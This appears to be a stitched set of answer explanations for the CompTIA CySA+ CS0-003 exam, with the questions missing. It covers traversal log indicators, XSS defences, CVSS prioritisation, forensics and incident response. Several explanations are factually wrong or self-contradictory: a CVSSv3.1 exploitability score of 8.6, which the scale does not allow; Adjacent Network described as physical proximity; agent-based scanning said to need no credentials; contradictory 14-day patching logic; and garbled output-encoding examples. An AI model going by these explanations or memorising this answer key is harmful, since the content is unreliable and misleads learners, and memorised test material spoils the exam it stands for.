CS0-003 CompTIA CyberSecurity Analyst CySA+ Certification Exam Questions and Answers

The log entry "......\boot.ini" is indicative of a directory traversal attack, where an attacker attempts to access files and directories that are stored outside the web root folder.

The log snippet "......\boot.ini" is indicative of a directory traversal attack. This type of attack aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “../” (dot-dot-slash), the attacker may be able to access arbitrary files and directories stored on the file system.

A vulnerability scan is a process of identifying and assessing the security weaknesses of a system or network. A vulnerability scan can help a security analyst to effectively identify the most security risks associated with a locally hosted server, such as missing patches, misconfigurations, outdated software, or exposed services. A vulnerability scan can also provide recommendations on how to remediate the identified vulnerabilities and improve the security posture of the server12 References: 1: What is a Vulnerability Scan? | Definition and Examples 2: Securing a server: risks, challenges and best practices - Vaadata

The correct answer is A. Address space layout randomization.

Address space layout randomization (ASLR) is a security control that randomizes the memory address space of a process, making it harder for an attacker to exploit memory-based vulnerabilities, such as buffer overflows1. ASLR can also prevent a security analyst from finding the proper memory address of a piece of malicious code, as the memory address changes every time the process runs2.

The other options are not the best explanations for why the memory address changes every time the process runs. Data execution prevention (B) is a security control that prevents code from being executed in certain memory regions, such as the stack or the heap3. Stack canary © is a security technique that places a random value on the stack before a function’s return address, to detect and prevent stack buffer overflows. Code obfuscation (D) is a technique that modifies the source code or binary of a program to make it more difficult to understand or reverse engineer. These techniques do not affect the memory address space of a process, but rather the execution or analysis of the code.

When acritical vulnerabilityis identified, the immediate next step should be toassess the riskassociated with the vulnerability.

Risk assessment (Option B)helps determine the severity, exploitability, and business impact before deciding on mitigation measures.

Option A (delaying the fix)is dangerous because payment data theft can have severe consequences, including regulatory penalties and reputational damage.

Option C (ignoring the vulnerability)is incorrect because passing a compliance audit does not mean the system is secure.

Option D (isolating and reimaging)is an extreme measure that might not be necessary unless active exploitation is detected.

????Reference:CompTIA CySA+ CS0-003 Official Study Guide, Risk Management & Vulnerability Management Lifecycle.

The analyst should focus on the impact of the events in order to move the incident forward. Impact is the measure of the potential or actual damage caused by an incident, such as data loss, financial loss, reputational damage, or regulatory penalties. Impact can help the analyst prioritize the events that need to be investigated based on their severity and urgency, and allocate the appropriate resources and actions to contain and remediate them. Impact can also help the analyst communicate the status and progress of the incident to the stakeholders and customers, and justify the decisions and recommendations made during the incident response12. Vulnerability score, mean time to detect, and isolation are all important metrics or actions for incident response, but they are not the main focus for moving the incident forward. Vulnerability score is the rating of the likelihood and severity of a vulnerability being exploited by a threat actor. Mean time to detect is the average time it takes to discover an incident. Isolation is the process of disconnecting an affected system from the network to prevent further damage or spread of the incident34 . References: Incident Response: Processes, Best Practices & Tools - Atlassian, Incident Response Metrics: What You Should Be Measuring, Vulnerability Scanning Best Practices, How to Track Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR) to Cybersecurity Incidents, [Isolation and Quarantine for Incident Response]

A risk score is a numerical value that represents the potential impact and likelihood of a vulnerability being exploited. It can help to identify the potential loss incurred by an issue and prioritize remediation efforts accordingly. https://www.comptia.org/training/books/cysa-cs0-003-study-guide

Step 1: Reviewing the Vulnerability Remediation Timeframes

The remediation standards require servers to be patched based on their CVSS score:

CVSS > 9.0: Patch within 7 days

CVSS 7.9 - 9.0: Patch within 14 days

CVSS 5.0 - 7.9: Patch within 30 days

CVSS 0 - 5.0: Patch within 60 days

Step 2: Analyzing the Output Tab

From the Output tab:

Server 192.168.76.5 has a CVSS score of 9.2 for an unsupported Microsoft IIS version, indicating a critical vulnerability requiring a patch within 7 days.

Server 192.168.76.6 has a CVSS score of 7.4 for a missing secure attribute on HTTPS cookies, which falls in the 5.0 - 7.9 range, requiring a patch within 30 days.

Since the question asks for the server to be patched within 14 days, we need to focus on servers with CVSS 7.9 - 9.0:

None of the servers have a CVSS score that falls precisely in the 7.9 - 9.0 range.

However, 192.168.76.5, with a CVSS score of 9.2, has a vulnerability that necessitates a quick response and fits as it must be patched within the shortest timeframe (7 days, which includes 14 days).

The server that fits within a 14-day urgency, based on standard practices, would be 192.168.76.5.

Step 3: Reviewing the Environment Tab

The Environment Tab provides additional context for 192.168.76.5:

It’s in the dev environment, which is internal and not publicly accessible.

MFA is required, indicating security measures are already present.

Step 4: Selecting the Appropriate Technique and Mitigation

For 192.168.76.5, with the Microsoft IIS unsupported version:

Patch; upgrade IIS to the current release is the most suitable option, as upgrading IIS will resolve the unsupported software vulnerability by bringing it up-to-date with supported versions.

This technique addresses the root cause, which is the unpatched, outdated software.

Summary

Server to be patched within 14 calendar days: 192.168.76.5

Appropriate technique and mitigation: Patch; upgrade IIS to the current release

This approach ensures that the most critical vulnerabilities are addressed promptly, maintaining security compliance.

Reverse engineering is a technique that involves analyzing a binary file to understand its structure, functionality, and behavior. Reverse engineering can help security analysts perform malware analysis, vulnerability research, exploit development, and software debugging. Reverse engineering can be done using various tools, such as disassemblers, debuggers, decompilers, and hex editors.

In this scenario, adding the IP address to the EDR (Endpoint Detection and Response) deny list is an immediate and effective way to block further reconnaissance activities from the malicious source. EDR solutions are designed to provide advanced endpoint security, including blocking specific IP addresses and preventing potentially harmful traffic. This proactive step aligns with CompTIA Cybersecurity Analyst (CySA+) best practices for threat prevention and response. While other options, such as using SIEM for monitoring (option B) or WAF policies (option C), provide additional layers of security, they do not directly block the threat in the same immediate way that adding the IP to the EDR deny list does.

Thechain of custodyis a documented history that tracks how evidence is handled, collected, transported, and preserved at every stage of the forensic investigation. If a gap exists in the record of who transferred or accessed the evidence, it could call into question the integrity and admissibility of the evidence​.

Validating data integrity (Option A)refers to ensuring that the forensic image is identical to the original data, often using cryptographic hashing, but it does not address procedural gaps in documentation.

Preservation (Option B)involves protecting the original evidence from modification or loss but does not include logging transfers of custody.

Legal hold (Option C)refers to a requirement to preserve data for legal proceedings, which is different from tracking evidence handling​.

Thus, the correct answer isD, as chain of custody directly relates to tracking who had access to the evidence and when​.

The described behavior(pivoting across network segments, targeting domain servers, and exfiltrating data to an unknown location)is characteristic of anadvanced persistent threat (APT), often linked tonation-state actors​.

Option A (Hacktivist)attackers typically engage indefacements or disruptionrather thanstealthy exfiltration.

Option B (Zombie)refers tocompromised hosts in a botnet, but botnets do not usually pivot across networks.

Option C (Insider threat)could involve unauthorized access, but the traffic pattern suggests anexternalattacker withlateral movementtechniques.

Thus,D is the correct answer, asnation-state actors often use sophisticated tactics, including data exfiltration and network pivoting​.

Updating the system firmware and reimaging the hardware is the best action to perform to remediate the infected device, as it helps to ensure that the device is restored to a clean and secure state and that any traces of malware are removed. Firmware is a type of software that controls the low-level functions of a hardware device, such as a motherboard, hard drive, or network card. Firmware can be updated or flashed to fix bugs, improve performance, or enhance security. Reimaging is a process of erasing and restoring the data on a storage device, such as a hard drive or a solid state drive, using an image file that contains a copy of the operating system, applications, settings, and files. Reimaging can help to recover from system failures, data corruption, or malware infections. Updating the system firmware and reimaging the hardware can help to remediate the infected device by removing any malicious code or configuration changes that may have been made by the malware, as well as restoring any missing or damaged files or settings that may have been affected by the malware. This can help to prevent further damage, data loss, or compromise of the device or the network. The other actions are not as effective or appropriate as updating the system firmware and reimaging the hardware, as they do not address the root cause of the infection or ensure that the device is fully cleaned and secured. Installing an additional malware scanner that will send email alerts to the analyst may help to detect and remove some types of malware, but it may not be able to catch all malware variants or remove them completely. It may also create conflicts or performance issues with other security tools or systems on the device. Configuring the system to use a proxy server for Internet access may help to filter or monitor some types of malicious traffic or requests, but it may not prevent or remove malware that has already infected the device or that uses other methods of communication or propagation. Deleting the user profile and restoring data from backup may help to recover some data or settings that may have been affected by the malware, but it may not remove malware that has infected other parts of the system or that has persisted on the device.

The MTTD (Mean Time To Detect) is calculated by averaging the time elapsed in detecting incidents. From the given data: (180+150+170+140)/4 = 160 minutes. This is the correct answer according to the CompTIA CySA+ CS0-003 Certification Study Guide1, Chapter 4, page 161. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4, page 153; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4, page 161.

nessie.explosion should be prioritized for remediation, as it has the highest CVSSv3.1 exploitability score of 8.6. The exploitability score is a sub-score of the CVSSv3.1 base score, which reflects the ease and technical means by which the vulnerability can be exploited. The exploitability score is calculated based on four metrics: Attack Vector, Attack Complexity, Privileges Required, and User Interaction. The higher the exploitability score, the more likely and feasible the vulnerability is to be exploited by an attacker12. nessie.explosion has the highest exploitability score because it has the lowest values for all four metrics: Network (AV:N), Low (AC:L), None (PR:N), and None (UI:N). This means that the vulnerability can be exploited remotely over the network, without requiring any user interaction or privileges, and with low complexity. Therefore, nessie.explosion poses the greatest threat to the end user workstations, and should be remediated first. vote.4p, sweet.bike, and great.skills have lower exploitability scores because they have higher values for some of the metrics, such as Adjacent Network (AV:A), High (AC:H), Low (PR:L), or Required (UI:R). This means that the vulnerabilities are more difficult or less likely to be exploited, as they require physical proximity, user involvement, or some privileges34. References: CVSS v3.1 Specification Document - FIRST, NVD - CVSS v3 Calculator, CVSS v3.1 User Guide - FIRST, CVSS v3.1 Examples - FIRST

Comprehensive and Detailed Step-by-Step Explanation:Automation in cybersecurity is best utilized to improve the speed and accuracy of incident detection, analysis, and response. Tools like SOAR (Security Orchestration, Automation, and Response) streamline workflows, allowing analysts to focus on more complex tasks while reducing response times. This ensures quicker containment and mitigation of threats.

Awareness training and education are essential to help staff recognize phishing emails and understand safe email practices, particularly when using legacy applications that might not have the latest securityfeatures. Training helps build a culture of security mindfulness, which is critical for preventing social engineering attacks. According to CompTIA Security+ and CySA+ frameworks, user education is a fundamental aspect of organizational defense against phishing. Options like replacing applications or implementing MFA (while helpful) do not directly address the need for user awareness in this scenario.

This is a type of web application vulnerability called cross-site scripting (XSS), which allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim.

Input sanitization is a technique that prevents XSS attacks by checking and filtering the user input before processing it. Input sanitization can remove or encode any characters or strings that may be interpreted as code by the browser, such as <, >, ", ', or javascript:. Input sanitization can also validate the input against a predefined format or range of values, and reject any input that does not match.

Output encoding is a technique that prevents XSS attacks by encoding the output before sending it to the browser. Output encoding can convert any characters or strings that may be interpreted as code by the browser into harmless entities, such as <, >, ", ', or javascript:. Output encoding can also escape any special characters that may have a different meaning in different contexts, such as , /, or ;.

Code obfuscation is a technique that makes the source code of a web application more difficult to read and understand by humans. Code obfuscation can use techniques such as renaming variables and functions, removing comments and whitespace, replacing literals with expressions, or adding dummy code. Code obfuscation can help protect the intellectual property and trade secrets of a web application, but it does not prevent XSS attacks.

Federation is a system of trust between two parties for the purpose of authenticating users and conveying information needed to authorize their access to resources. By using federation, a user can use one set of credentials to access multiple domains that trust each other.

A vulnerability scan report should include information about the affected hosts, such as their IP addresses, hostnames, operating systems, and services. It should also include a risk score for each vulnerability, which indicates the severity and potential impact of the vulnerability on the host and the organization. Official References: https://www.first.org/cvss/

C. Impossible geo-velocity: This is an event where a single user's account is accessed from different geographical locations within a timeframe that is impossible for normal human travel. In the log, we can see that the user "jdoe" is accessing from the United States and then within a few minutes from Russia, which is practically impossible to achieve without the use of some form of automated system or if the account credentials are being used by different individuals in different locations.

B. Push phishing: This could also be an indication of push phishing, where the user is tricked into approving a multi-factor authentication request that they did not initiate. This is less clear from the logs directly, but it could be inferred if the user is receiving MFA requests that they are not initiating and are being approved without their genuine desire to access the resources.

The signature of the malware is a unique identifier that can be used to compare it with known malware samples and their behaviors. Open-source threat intelligence sources provide information on various types of malware, their indicators of compromise, and their mitigation strategies. By cross-referencing the signature with these sources, the analyst can determine the type of malware and its telemetry. The other options are not relevant for this purpose: configuring the EDR to perform a full scan may not provide additional information on the malware type; transferring the malware to a sandbox environment may expose the analyst to further risks; logging in to the affected systems and running netstat may not reveal the malware activity.

Brady should be prioritized for remediation, as it has the highest risk score and the highest number of affected users. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Brady has a risk score of 9 x 0.8 = 7.2, which is higher than any other system. Brady also has 500 affected users, which is more than any other system. Therefore, patching brady would reduce the most risk and impact for the organization. The other systems have lower risk scores and lower numbers of affected users, so they can be remediated later.

The output shows the results of a port scan, which is a technique used to identify open ports and services running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities and exploit them, or by defenders to assess the security posture and configuration of their network devices1

The output lists six ports that are open on the target host, along with the service name and version associated with each port. The service name indicates the type of application or protocol that is using the port, while the version indicates the specific release or update of the service. The service name and version can provide useful information for both attackers and defenders, as they can reveal the capabilities, features, and weaknesses of the service.

Among the six ports listed, two are particularly risky and should be investigated further by the security team: port 23 and port 636.

Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution. Telnet does not encrypt any data transmitted over the network, including usernames and passwords, which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has many known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary commands, or cause denial-of-service attacks on the target host23

Port 636 is used by LDAP over SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be vulnerable to attacks if the certificates are not properly configured, verified, or updated. For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks, spoofing attacks, or certificate revocation attacks on LDAPS connections.

Therefore, the security team should investigate further why port 23 and port 636 are open on the target host, and what services are running on them. The security team should also consider disabling or replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port 6362

Cloud-specific misconfigurations are security issues that arise from improper or inadequate configuration of cloud resources, such as storage buckets, databases, virtual machines, or containers. Cloud-specific misconfigurations may not be detected by the current scanners that are designed for on-premises environments, as they may not have the visibility or access to the cloud resources or the cloud provider’s APIs. Therefore, one of the implications that should be considered on the new hybrid environment is that cloud-specific misconfigurations may not be detected by the current scanners.

Threat modelingis aproactiveapproach used toidentify, analyze, and mitigate potential threatsbefore they impact production systems. It is especially useful in early development stages to anticipate vulnerabilities and attack paths​.

Option B (Penetration testing)is areactive measureperformed on deployed systems, rather than prior to production.

Option C (Bug bounty)programs incentivize external researchers but do not proactively model risksbefore deployment.

Option D (SDLC training)improves security awareness but does notactively assess risks.

Thus,A (Threat modeling) is the best choice, as it enablesearly identification and mitigation of security risks​.

Application security scanning is a process that involves testing and analyzing applications for security vulnerabilities, such as injection flaws, broken authentication, cross-site scripting, and insecure configuration. Application security scanning can help identify and fix security issues before they become exploitable by attackers. Using application security scanning as part of the pipeline for the continuous integration/continuous delivery (CI/CD) flow can help mitigate the problem of finding the same vulnerabilities in a critical application during security scanning. This is because application security scanning can be integrated into the development lifecycle and performed automatically and frequently as part of the CI/CD process.

Tocapture and analyze network traffic, the two best tools are:

tcpdump (Option A)– A command-line packet capture tool used for network traffic analysis.

Wireshark (Option D)– A GUI-based network packet analysis tool that provides deep inspection capabilities​.

Option B (SIEM)is forlog aggregationand does notcapturetraffic.

Option C (Vulnerability scanner)identifies weaknesses but does notcapturenetwork traffic.

Option E (Nmap)is used for network discovery and port scanning, not capturing traffic.

Option F (SOAR)automates security processes but does not capture traffic.

Thus,A (tcpdump) and D (Wireshark) are correct, asthey are the best tools for capturing and analyzing anomalous network traffic​.

A mean time to remediate (MTTR) is a metric that measures how long it takes to fix a vulnerability after it is discovered. A MTTR of 30 days would best protect the organization from the new attacks that are exploited 45 days after a patch is released, as it would ensure that the vulnerabilities are fixed before they are exploited

The correct answer is D. Registry.

The registry is a database that stores system configuration keys and values in a Windows environment. The registry contains information about the hardware, software, users, and preferences of the system. The registry can be accessed and modified using the Registry Editor tool (regedit.exe) or the command-line tool (reg.exe). The registry is organized into five main sections, called hives, which are further divided into subkeys and values.

The other options are not the best descriptions of where the analyst can find system configuration keys and values in a Windows environment. config.ini (A) is a file that stores configuration settings forsome applications, but it is not a database that stores system configuration keys and values. ntds.dit (B) is a file that stores the Active Directory data for a domain controller, but it is not a database that stores system configuration keys and values. Master boot record © is a section of the hard disk that contains information about the partitions and the boot loader, but it is not a database that stores system configuration keys and values.

One of the best actions to take after the conclusion of a security incident to improve incident response in the future is to schedule a review with all teams to discuss what occurred, what went well, what went wrong, and what can be improved. This review is also known as a lessons learned session or an after-action report. The purpose of this review is to identify the root causes of the incident, evaluate the effectiveness of the incident response process, document any gaps or weaknesses in the security controls, and recommend corrective actions or preventive measures for future incidents. Official References: https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack/

Beaconing is the best term to describe the activity that is taking place, as it refers to the periodic communication between an infected host and a blocklisted external server. Beaconing is a common technique used by malware to establish a connection with a command-and-control (C2) server, which can provide instructions, updates, or exfiltration capabilities to the malware. Beaconing can vary in frequency, duration, and payload, depending on the type and sophistication of the malware. The other terms are not as accurate as beaconing, as they describe different aspects of malicious activity. Data exfiltration is the unauthorized transfer of data from a compromised system to an external destination, such as a C2 server or a cloud storage service. Data exfiltration can be a goal or a consequence of malware infection, but it does not necessarily involve blocklisted servers or consistent requests. Rogue device is a device that is connected to a network without authorization or proper security controls. Rogue devices can pose a security risk, as they can introduce malware, bypass firewalls, or access sensitive data. However, rogue devices are not necessarily infected with malware or communicating with blocklisted servers. Scanning is the process of probing a network or a system for vulnerabilities, open ports, services, or other information. Scanning can be performed by legitimate administrators or malicious actors, depending on the intent and authorization. Scanning does not imply consistent requests or blocklisted servers, as it can target any network or system.

In environments with fragile and legacy equipment, passive scanning is preferred to prevent any potential disruptions that active scanning might cause.

When assessing the security of an Operational Technology (OT) network, especially one with fragile and legacy equipment, it's crucial to use passive instead of active vulnerability scans. Active scanning can sometimes disrupt the operation of sensitive or older equipment. Passive scanning listens to network traffic without sending probing requests, thus minimizing the risk of disruption.

A Cloud Access Security Broker (CASB) would have reduced the complexity of identity and access management in cloud-based assets. CASBs provide visibility into cloud application usage, data protection, and governance for cloud-based services.

This VM has a public IP and an open port 80, which violates the company’s security requirements of no public IPs and no insecure ports/protocols. It also exposes the VM to potential attacks from the internet. This VM should be updated first to use a private IP and close the port 80, or use a secure protocol such as HTTPS.

References[CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition], Chapter 2: Cloud and Hybrid Environments, page 67.[What is a Public IP Address?][What is Port 80?]

Security Orchestration, Automation, and Response (SOAR) can help the SOC analyst reduce the number of alarms by automating the process of removing duplicates and managing security alerts more efficiently. SOAR platforms enable security teams to define, prioritize, and standardize response procedures, which helps in reducing the workload and improving the overall efficiency of incident response by handling repetitive and low-level tasks automatically.

Adding the SHA-256 hash of a legitimate Microsoft-signed binary like svchost.exe to detection signatures would result in the indicator firing on the majority of Windows devices. Svchost.exe is a common and legitimate system process used by Windows, and using its hash as an indicator ofcompromise (IOC) would generate numerous false positives, as it would match the legitimate instances of svchost.exe running on all Windows systems.

The vulnerability with the highest CVSS score and an active exploit is Microsoft CVE-2021-34527 (PrintNightmare). Although only present on two instances, its high severity (8.4) and exploitable nature make it a priority. PrintNightmare is a well-known remote code execution vulnerability, which can be a critical risk. According to CompTIA CySA+ and vulnerability management practices, prioritizing based on severity and exploitability is essential, even over the number of instances. Other vulnerabilities listed are less severe or lack active exploitation.

SQL injection should be remediated first, as it is a high-severity vulnerability that can allow an attacker to execute arbitrary SQL commands on the database server and access, modify, or delete sensitive data, including PII. According to the Arachni scan results, there are two instances of SQL injection and three instances of blind SQL injection (two timing attacks and one differential analysis) in the web application. These vulnerabilities indicate that the web application does not properly validate or sanitize the user input before passing it to the database server, and thus exposes the database to malicious queries12. SQL injection can have serious consequences for the confidentiality, integrity, and availability of the data and the system, and can also lead to further attacks, such as privilege escalation, data exfiltration, or remote code execution34. Therefore, SQL injection should be the highest priority for remediation, and the web application should implement input validation, parameterized queries, and least privilege principle to prevent SQL injection attacks5. References: Web application testing with Arachni | Infosec, How do I create a generated scan report for PDF in Arachni Web …, Command line user interface · Arachni/arachni Wiki · GitHub, SQL Injection - OWASP, Blind SQL Injection - OWASP, SQL Injection Attack: What is it, and how to prevent it., SQL Injection Cheat Sheet & Tutorial | Veracode

The correct answer is D. MITRE ATT&CK.

MITRE ATT&CK is a framework that maps the tactics, techniques, and procedures (TTPs) of various threat actors and groups, based on real-world observations and data. MITRE ATT&CK can help a Chief Information Security Officer (CISO) to map all the attack vectors that the company faces each day, as well as to align their security controls around the most relevant and prevalent threats. MITRE ATT&CK can also help the CISO to assess the effectiveness and maturity of their security posture, as well as to identify and prioritize the gaps and improvements .

The other options are not the best recommendations for mapping all the attack vectors that the company faces each day. OSSTMM (Open Source Security Testing Methodology Manual) (A) is a methodology that provides guidelines and best practices for conducting security testing and auditing, but it does not map the TTPs of threat actors or groups. Diamond Model of Intrusion Analysis (B) is a model that analyzes the relationships and interactions between four elements of an intrusion: adversary, capability, infrastructure, and victim. The Diamond Model can help understand the characteristics and context of an intrusion, but it does not map the TTPs of threat actors or groups. OWASP (Open Web Application Security Project) © is a project that provides resources and tools for improving the security of web applications, but it does not map the TTPs of threat actors or groups.

Vulnerability B is the vulnerability that the analyst should be most concerned about, knowing that end users frequently click on malicious links sent via email. Vulnerability B is a remote code execution vulnerability in Microsoft Outlook that allows an attacker to run arbitrary code on the target system by sending a specially crafted email message. This vulnerability is very dangerous, as it does not require any user interaction or attachment opening to trigger the exploit. The attacker only needs to send an email to the victim’s Outlook account, and the code will execute automatically when Outlook connectsto the Exchange server. This vulnerability has a high severity rating of 9.8 out of 10, and it affects all supported versions of Outlook. Therefore, the analyst should prioritize patching this vulnerability as soon as possible to prevent potential compromise of the workstations.

The output shows that the web application has a cross-origin resource sharing (CORS) header that allows any origin to access its resources. This is a security misconfiguration that could allow malicious websites to make requests to the web application on behalf of the user and access sensitive data or perform unauthorized actions. The tuning recommendation is to configure the Access-Control-Allow-Origin header to only allow authorized domains that need to access the web application’s resources. This would prevent unauthorized cross-origin requests and reduce the risk of cross-site request forgery (CSRF) attacks.

Reviewing the code and debugging the code are two methods that can help a developer identify and fix runtime errors in the code. Reviewing the code involves checking the syntax, logic, and structure of the code for any errors or inconsistencies. Debugging the code involves running the code in a controlled environment and using tools such as breakpoints, watches, and logs to monitor the execution and find the source of errors. Both methods can help improve the quality and security of the code. 

Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from different sources. If the system has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a specific order. Access rights, network segmentation, and invalid playbook are not directly related to the issue of correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study Guide], page 23

An SLA, or Service Level Agreement, is a contract between a service provider and its customers that documents what services the provider will furnish and defines the service standards the provider is obligated to meet. In the scenario described, the missed incident response deadline is a clear indicator of an SLA violation. An SLA usually outlines the metrics by which service is measured as well as remedies or penalties should agreed-upon service levels not be achieved. Unlike a KPI (Key Performance Indicator) which is a quantifiable measure used to evaluate the success of an organization, employee, etc., in meeting objectives for performance, or an MOU (Memorandum of Understanding) which is a formal agreement between two or more parties, an SLA is focused on the performance and quality metrics applicable to the service provided. SLO (Service Level Objective) is related and often part of an SLA, representing the specific measurable characteristics of the SLA such as availability, throughput, frequency, response time, or quality.

The security analyst is validating a Local File Inclusion (LFI) vulnerability, as indicated by the “/…/…/…/” in the GET request which is a common indicator of directory traversal attempts associated with LFI. The other options are not relevant for this purpose: SQL injection involves injecting malicious SQL statements into a database query; XSS involves injecting malicious scripts into a web page; CSRF involves tricking a user into performing an unwanted action on a web application.

Agent-based scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent-based scanning can reduce the access to systems, as the agents do not require any credentials or permissions to scan the local system or network. Agent-based scanning can also provide the most accurate vulnerability scan results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.

The scan output where ports are marked as “closed” suggests the use of ahalf-open or SYN scan. In a SYN scan, the scanner sends only the initial SYN packet and does not complete the TCP handshake. If a SYN-ACK is received, the port is open; if a RST is received, it is closed. This scanning method is also referred to as astealth scanand is frequently used to avoid detection.

Sandboxing is a technique that isolates potentially malicious programs or files in a controlled environment, preventing them from affecting the rest of the system. It can help mitigate the effects of a new ransomware attack by preventing it from encrypting or deleting important data or spreading to other devices. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 202; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 210.

Abit-level imageis a forensic-grade copy that preservesalldata on a disk, including unallocated space, deleted files, and metadata. This is the most legally defensible form of digital evidence collection, as it ensures that no potential evidence is missed​.

Copying all access files (Option A)only captures live files and omits deleted or system-level artifacts that may be critical.

Creating a file-level archive (Option B)is insufficient because it does not capture system metadata or slack space where forensic artifacts reside.

Providing a full system backup inventory (Option C)may include important files, but it lacks forensic integrity because backups often modify timestamps and do not capture all system states​.

Thus, the correct answer isD, as abit-level image ensures forensic integrity and completeness of evidence​.

A security analyst’s concern is that any discovered vulnerabilities in the OS that is approaching the end-of-life date will not be remediated by the vendor, leaving the system exposed to potential attacks. The other options are not directly related to the security analyst’s role or responsibility. Verified References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives, page 9, section 2.21

This answer matches the description of the zero-day threat. The attack vector is network (AV:N), the attack complexity is low (AC:L), no privileges are required (PR:N), no user interaction is required (UI:N), the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the availability impact is low (A:L). Official References: https://nvd.nist.gov/vuln-metrics/cvss

SOAR stands for security orchestration, automation, and response, which is a term that describes a set of tools, technologies, or platforms that can help streamline, standardize, and automate security operations and incident response processes and tasks. SOAR can help minimize human engagement and aid in process improvement in security operations by reducing manual work, human errors, response time, or complexity. SOAR can also help enhance collaboration, coordination, efficiency, or effectiveness of security operations and incident response teams.

An API endpoint is a point of entry for a communication between two different SaaS-based security tools. It allows one tool to send requests and receive responses from the other tool using a common interface. An API endpoint can be used to notify the other tool in the event a threat is detected and trigger an appropriate action. SMB share, SMTP notification, and SNMP trap are not suitable for SaaS integration security, as they are either network protocols or email services that do not provide a direct and secure communication between two different SaaS tools. References: Top 10 Best SaaS Security Tools - 2023, What is SaaS Security? A Guide to Everything SaaS Security, 6 Key Considerations for SaaS Integration Security | Prismatic, Introducing Security for Interconnected SaaS - Palo Alto Networks

ABusiness Impact Analysis (BIA)is the correct document thatidentifies critical servicesand definesRecovery Point Objectives (RPOs)andRecovery Time Objectives (RTOs). It helps organizations determine the impact of downtime and the maximum tolerable outages for business functions.

Disaster recovery plan (A)uses the information from the BIA.

Playbooks (C)are tactical and focus on specific incidents.

Backup plans (D)support BIA but don't define RPO/RTO themselves.

Header analysis is the technique of examining the metadata of an email, such as the sender, recipient, date, subject, and routing information. It can help to identify the source of a malicious email by revealing the IP address and domain name of the originator, as well as any spoofing or redirection attempts. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 240; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 249.

Comprehensive and Detailed Step-by-Step Explanation:The SPF = PASS result confirms the email came from an authorized server, but DKIM = FAIL indicates the message was not properly signed with the expected DomainKeys Identified Mail (DKIM) signature. DMARC = FAIL suggests that because DKIM failed, the overall email authentication failed. This scenario is consistent with a legitimate server sending an unsigned email.

Deploying EDR on the web server and the database server to reduce the adversaries capabilities and using micro segmentation to restrict connectivity to/from the web and database servers are two compensating controls that will help contain the adversary while meeting the other requirements. A compensating control is a security measure that is implemented to mitigate the risk of a vulnerability or an attack when the primary control is not feasible or effective. EDR stands for Endpoint Detection and Response, which is a tool that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can help contain the adversary by detecting and blocking their actions, such as data exfiltration, lateral movement, privilege escalation, or command execution. Micro segmentation is a technique that divides a network into smaller segments based on policies and rules, and applies granular access controls to each segment. Micro segmentation can help contain the adversary by isolating the web and database servers from other parts of the network, and limiting the traffic that can flow between them. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

The observed activity from a privileged account indicates an insider attack, which is when a trusted user or employee misuses their access rights to compromise the security of the organization. Accessing emails and sensitive information, modifying audit logs, and logging in at abnormal times are all signs of malicious behavior by a privileged user who may be trying to steal, tamper, or destroy data, or cover their tracks. An insider attack can cause significant damage to the organization’s reputation, operations, and compliance12. References: The Privileged Identity Playbook Guides Management of Privileged User Accounts, How to Track Privileged Users’ Activities in Active Directory

The correct answer is A. To provide metrics and test continuity controls.

A disaster recovery exercise is a simulation or a test of the disaster recovery plan, which is a set of procedures and resources that are used to restore the normal operations of an organization after a disaster or a major incident. The goal of a disaster recovery exercise is to provide metrics and test continuity controls, which are the measures that ensure the availability and resilience of the critical systems and processes of an organization. A disaster recovery exercise can help evaluate the effectiveness, efficiency, and readiness of the disaster recovery plan, as well as identify and address any gaps or issues .

The other options are not the best descriptions of the goal of a disaster recovery exercise. Verifying the roles of the incident response team (B) is a goal of an incident response exercise, which is a simulation or a test of the incident response plan, which is a set of procedures and roles that are used to detect, contain, analyze, and remediate an incident. Providing recommendations for handling vulnerabilities © is a goal of a vulnerability assessment, which is a process of identifying and prioritizing the weaknesses and risks in an organization’s systems or network. Performing tests against implemented security controls (D) is a goal of a penetration test, which is an authorized and simulated attack on an organization’s systems or network to evaluate their security posture and identify any vulnerabilities or misconfigurations.

Key Performance Indicators (KPIs)track the effectiveness of a security program, providing measurable insights intovulnerability detection, patching efficiency, and risk reduction. This makes KPIs ideal for executive dashboards​.

Option B (MOU - Memorandum of Understanding)refers toagreements between parties, not performance tracking.

Option C (SLO - Service Level Objective)defines operationaltargetsbut is nota tracking metric.

Option D (SLA - Service Level Agreement)defines expectations betweenservice providers and clients, not security metrics.

Thus,A (KPI) is the correct answer, asKPIs provide actionable insights into security effectiveness​.

